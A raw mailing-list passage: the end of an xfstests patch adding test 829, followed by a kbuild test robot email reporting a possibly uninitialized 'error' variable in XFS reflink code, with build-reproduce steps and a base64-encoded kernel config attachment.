+_check_scratch_fs + +echo "Done" +# success, all done +status=0 +exit diff --git a/tests/generic/829.out b/tests/generic/829.out new file mode 100644 index 0000000..9cee8ba --- /dev/null +++ b/tests/generic/829.out @@ -0,0 +1,6 @@ +QA output created by 829 +Format and mount +Initialize files +Delete while rewriting +Check fs +Done diff --git a/tests/generic/group b/tests/generic/group index b4ba56a..7f70690 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -227,5 +227,14 @@ 817 auto quick clone 818 auto quick clone 819 auto quick clone +821 auto quick clone +822 auto quick clone +823 auto quick clone +824 auto quick clone +825 auto quick clone +826 auto quick clone +827 auto quick clone +828 auto quick clone +829 auto quick clone 837 auto quick clone 838 auto quick clone From fengguang.wu@intel.com Wed Oct 7 00:14:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5578629F28 for ; Wed, 7 Oct 2015 00:14:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8387AC005 for ; Tue, 6 Oct 2015 22:14:08 -0700 (PDT) X-ASG-Debug-ID: 1444194845-04cbb03f130dc70001-NocioJ Received: from mga11.intel.com ([192.55.52.93]) by cuda.sgi.com with ESMTP id UfHNrmQxNLNVv6TR for ; Tue, 06 Oct 2015 22:14:06 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.93 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga001.jf.intel.com ([10.7.209.18]) by fmsmga102.fm.intel.com with ESMTP; 06 Oct 2015 22:14:05 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,647,1437462000"; d="gz'50?scan'50,208,50";a="786359015" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by orsmga001.jf.intel.com with ESMTP; 06 Oct 2015 22:14:03 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1Zjh31-000G5l-6A; Wed, 07 Oct 2015 13:13:51 +0800 Date: Wed, 7 Oct 2015 13:12:56 +0800 From: kbuild test robot To: "Darrick J. Wong" Cc: kbuild-all@01.org, david@fromorbit.com, darrick.wong@oracle.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 50/58] xfs: reflink extents from one file to another Message-ID: <201510071320.FYMFHkEN%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH 50/58] xfs: reflink extents from one file to another MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="qMm9M+Fa2AknHoGS" Content-Disposition: inline In-Reply-To: <20151007050038.30457.18221.stgit@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: UNKNOWN[192.55.52.93] X-Barracuda-Start-Time: 1444194845 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --qMm9M+Fa2AknHoGS Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Darrick, [auto build test WARNING on v4.3-rc4 -- if it's inappropriate base, please ignore] config: sh-titan_defconfig (attached as .config) reproduce: wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross chmod +x ~/bin/make.cross # save the attached .config to linux build tree make.cross ARCH=sh Note: it may well be a FALSE warning. FWIW you are at least aware of it now. http://gcc.gnu.org/wiki/Better_Uninitialized_Warnings All warnings (new ones prefixed by >>): fs/xfs/xfs_reflink.c: In function 'remap_blocks': >> fs/xfs/xfs_reflink.c:1385:2: warning: 'error' may be used uninitialized in this function [-Wuninitialized] vim +/error +1385 fs/xfs/xfs_reflink.c 1369 */ 1370 if (imap.br_startblock == HOLESTARTBLOCK || 1371 imap.br_startblock == DELAYSTARTBLOCK || 1372 ISUNWRITTEN(&imap)) 1373 goto advloop; 1374 1375 error = remap_one_range(dest, &imap, destoff + srcioff); 1376 if (error) 1377 break; 1378 advloop: 1379 /* Advance drange/srange */ 1380 srcoff += srcioff + imap.br_blockcount; 1381 destoff += srcioff + imap.br_blockcount; 1382 len -= srcioff + imap.br_blockcount; 1383 } 1384 > 1385 return error; 1386 } 1387 #undef IMAPNEXT 1388 1389 /** 1390 * xfs_reflink() - link a range of blocks from one inode to another 1391 * 1392 * @src: Inode to clone from 1393 * @srcoff: Offset within source to start clone from --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --qMm9M+Fa2AknHoGS Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 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 